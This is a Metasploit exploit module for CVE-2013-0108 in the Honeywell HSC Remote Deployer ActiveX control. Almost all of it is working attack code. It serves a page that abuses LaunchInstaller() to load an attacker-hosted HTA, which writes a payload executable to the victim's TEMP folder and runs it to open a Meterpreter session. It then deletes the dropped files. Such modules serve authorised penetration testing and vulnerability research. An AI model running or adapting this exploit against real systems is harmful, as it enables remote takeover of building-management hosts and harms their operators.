##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in the Honeywell HSC Remote Deployer
          ActiveX. This control can be abused by using the LaunchInstaller() function to
          execute an arbitrary HTA from a remote location. This module has been tested
          successfully with the HSC Remote Deployer ActiveX installed with Honeywell EBI
          R410.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'juan vazquez'
        ],
        'References' => [
          [ 'CVE', '2013-0108' ],
          [ 'OSVDB', '90583' ],
          [ 'BID', '58134' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/03/11/cve-2013-0108-honeywell-ebi' ],
          [ 'URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-02-22',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )

    self.needs_cleanup = true
  end

  def primer
    hardcoded_uripath("/SystemDisplays/RemoteInstallWelcome.hta")
  end

  def exploit
    @var_exename = rand_text_alpha(5 + rand(5)) + ".exe"
    @dropped_files = [
      @var_exename
    ]
    super
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")

      @dropped_files.delete_if do |file|
        win_file = file.gsub("/", "\\\\")
        begin
          wintemp = session.sys.config.getenv('TEMP')
          win_file = "#{wintemp}\\#{win_file}"
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end
  end

  def build_hta(cli)
    var_shellobj	= rand_text_alpha(rand(5) + 5);
    var_fsobj	= rand_text_alpha(rand(5) + 5);
    var_fsobj_file	= rand_text_alpha(rand(5) + 5);
    var_vbsname	= rand_text_alpha(rand(5) + 5);
    var_writedir	= rand_text_alpha(rand(5) + 5);

    var_origLoc	= rand_text_alpha(rand(5) + 5);
    var_byteArray	= rand_text_alpha(rand(5) + 5);
    var_writestream	= rand_text_alpha(rand(5) + 5);
    var_strmConv	= rand_text_alpha(rand(5) + 5);

    p = regenerate_payload(cli);
    exe = generate_payload_exe({ :code => p.encoded })

    # Doing in this way to bypass the ADODB.Stream restrictions on JS,
    # even when executing it as an "HTA" application
    # The encoding code has been stolen from ie_unsafe_scripting.rb
    print_status("Encoding payload into vbs/javascript/hta...");

    # Build the content that will end up in the .vbs file
    vbs_content	= Rex::Text.to_hex(%Q|
Dim #{var_origLoc}, s, #{var_byteArray}
#{var_origLoc} = SetLocale(1033)
|)
    # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
    # for conversion with ADODB.Stream
    vbs_ary = []
    # The output of this loop needs to be as small as possible since it
    # gets repeated for every byte of the executable, ballooning it by a
    # factor of about 80k (the current size of the exe template).  In its
    # current form, it's down to about 4MB on the wire
    exe.each_byte do |b|
      vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
    end
    vbs_content << vbs_ary.join("")

    # Continue with the rest of the vbs file;
    # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
    # Then use ADODB.Stream again to write the binary to file.
    # print_status("Finishing vbs...");
    vbs_content << Rex::Text.to_hex(%Q|
Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
                    #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"

Set #{var_strmConv} = CreateObject("ADODB.Stream")

#{var_strmConv}.Type = 2
#{var_strmConv}.Charset = "x-ansi"
#{var_strmConv}.Open
#{var_strmConv}.WriteText s, 0
#{var_strmConv}.Position = 0
#{var_strmConv}.Type = 1
#{var_strmConv}.SaveToFile #{var_writedir}, 2

SetLocale(#{var_origLoc})|)

    hta = <<-EOS
      <script>
      var #{var_shellobj} = new ActiveXObject("WScript.Shell");
      var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
      var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
      var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

      #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
      #{var_fsobj_file}.Close();

      #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
      #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
      #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
      window.close();
      </script>
    EOS

    return hta
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']

    if agent !~ /MSIE \d/
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    uri = ((datastore['SSL']) ? "https://" : "http://")
    uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'])
    uri << ":#{datastore['SRVPORT']}"

    print_status("Request received for #{request.uri}");

    if request.uri =~ /\/SystemDisplays\/RemoteInstallWelcome.hta/
      hta = build_hta(cli)
      print_status("Sending HTA application")
      send_response(cli, hta, { 'Content-Type' => 'application/hta' })
      return
    end

    html = <<-EOS
    <html>
    <body>
    <object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
    </object>
    <script>
      RemoteInstaller.LaunchInstaller("#{uri}", "", false);
    </script>
    </body>
    </html>
    EOS

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
